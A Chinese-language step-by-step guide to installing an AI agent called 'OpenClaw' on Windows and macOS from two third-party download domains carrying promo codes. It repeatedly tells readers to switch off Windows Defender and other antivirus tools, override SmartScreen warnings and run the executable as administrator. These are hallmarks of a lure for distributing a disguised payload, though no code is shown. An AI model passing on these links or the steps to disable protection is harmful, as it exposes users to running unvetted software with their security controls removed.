OpenClaw 本地 AI 智能体快速搭建，Windows 与 macOS 一键部署实操

适配系统：Windows10/11 64 位、macOS12 及以上 当前版本：Windows v3.1.0、macOS v2.7.9 安装包大小：45.8MB

工具介绍

OpenClaw 是一款可以部署在本地电脑上的 AI 智能体，同时兼容 Windows、macOS 两大操作系统。软件采用图形向导式的安装模式，全程不需要在命令行输入代码。安装包内置 Git、Python、Node.js 等全部运行依赖，即便没有任何编程经验，也能在几分钟内完成整套部署。用户只需要输入自然语言描述任务，就能实现文件分类整理、键鼠模拟操作、应用程序调度等多种电脑自动化工作。

Windows 下载地址：https://xiake.yun/api/download/package/28?promoCode=IV4E9B04A80C macOS 下载地址：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C

部署前准备事项

OpenClaw 拥有本地文件读写、模拟键鼠、调用各类应用软件的权限，安全防护软件很容易将程序识别为风险文件。

在下载、解压、安装以及启动软件的全过程，建议临时关闭 Windows Defender 实时防护、火绒、360 安全卫士、腾讯电脑管家。一旦核心程序文件被安全软件隔离删除，部署流程就会中断。项目属于开源项目，可以前往 GitHub 查阅源码，了解项目详情，关闭防护软件之后再继续后续操作。

第一步：下载对应系统的安装压缩包

根据自己电脑的操作系统，复制上方对应链接下载压缩包。推荐浏览器自带下载功能或者迅雷下载，降低网络中断造成压缩包损坏的概率。下载完成后，前往桌面或者浏览器默认下载目录找到文件。

第二步：解压文件，打开安装向导

推荐使用 7-Zip、WinRAR 解压工具，系统自带解压程序解压文件时容易丢失组件。右键压缩包，解压到当前文件夹，生成完整程序目录。

Windows 端打开解压后的文件夹，双击Openclaw Windows 一键启动.exe。

遇到 Windows SmartScreen 安全拦截弹窗，点击更多信息，选择仍要运行。

进入欢迎界面，点击底部开始使用，跳转至安装路径选择页面。

⚠️路径选择要点： 安装文件夹路径必须全部为英文，不允许出现中文、空格、特殊符号；尽量不要安装至 C 盘，减少系统盘存储空间占用。

• 推荐路径：D:\OpenClaw、E:\AITools\OpenClaw
• 不推荐路径：D:\AI工具\OpenClaw、带有中文名称的文件夹

勾选《用户协议》与《免责声明》，点击开始安装。

第三步：自动部署执行

点击开始安装按钮之后，程序会自动执行全部部署任务，全程无需人工干预，整个过程耗时 3-5 分钟，时长取决于电脑硬件性能。切记不要关闭安装窗口，否则部署进程直接终止。

自动化执行任务清单：

1. 检测本机运行环境，自动补齐 Git、Node.js、Python 等缺失依赖；
2. 部署 OpenClaw 核心程序文件，适配当前操作系统；
3. 加载浏览器控制、键鼠模拟组件，支撑自动化任务执行；
4. 生成.env 配置文件，完成初始化并自动创建桌面快捷方式。

进度条到达 100%，软件会自动打开 OpenClaw 主界面。

第四步：第一次启动，确认 Gateway 服务状态

安装完成自动跳转初始化页面，页面提示正在等待 Gateway 就绪...。第一次启动程序需要加载后台资源，等待 1-3 分钟属于正常现象，后续打开软件仅需数秒即可完成加载。

当界面右上角显示Gateway 在线，代表部署成功。界面分区说明：

• 右上角：Gateway 运行状态、重启按钮、日志入口、可用 Tokens 额度；
• 左侧：本地与渠道切换栏，可以新建对话、查看历史会话；
• 中间：对话交互窗口，AI 智能体交互，支持多模型切换，代码高亮；
• 底部：自然语言指令输入框，Enter 发送消息，Shift+Enter 换行，支持自动、普通模式切换。

第五步：下发任务指令，测试自动化能力

部署完成无需额外配置，直接在输入框填写任务指令，OpenClaw 自动拆解需求，操控电脑执行对应工作。指令描述越细致，任务执行效果越稳定。

复制下面指令快速测试功能：

1. 整理 D 盘下载文件夹，依据文件类型新建文件夹分类存放；
2. 打开记事本，输入 “OpenClaw 部署成功”，保存文件至桌面；
3. 查询本机磁盘剩余空间，整理文字信息反馈结果。

故障排查清单

1. 安装失败，软件启动无响应 确认安全防护软件全部关闭；关闭防护后问题依旧，则重新解压安装包重试。
2. Gateway 持续离线 ①确认安装路径纯英文，不含特殊字符；②点击右上角按钮重启 Gateway 服务；③关闭软件，右键选择以管理员身份运行程序。
3. 网络错误提示 第一次初始化需要联网加载资源，保持网络正常，关闭代理、VPN 之后重试。
4. Tokens 额度不足 内置 Tokens 额度可以支撑基础功能体验，额度耗尽可在界面充值补充，不会影响软件核心运行能力。
5. 输入框消息发送失败 等待 Gateway 状态切换为在线再操作，长时间异常建议重新部署。

使用经验分享

1. 安装磁盘预留 5G 以上存储空间，用于后续插件更新、模型缓存；
2. 桌面快捷方式生成完成后，后续直接双击快捷方式启动，无需重复解压；
3. 需要对接飞书、微信等聊天渠道，部署成功后进入设置→聊天渠道完成配置，在聊天窗口下发任务；
4. 版本更新直接下载新版本安装包覆盖原有文件夹，无需卸载旧版本。

下载链接汇总

Windows v3.1.0：https://xiake.yun/api/download/package/28?promoCode=IV4E9B04A80C macOS v2.7.9：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C

本文为图形化一键部署教程，后续持续更新技能拓展、本地大模型接入、多渠道联动相关实操内容。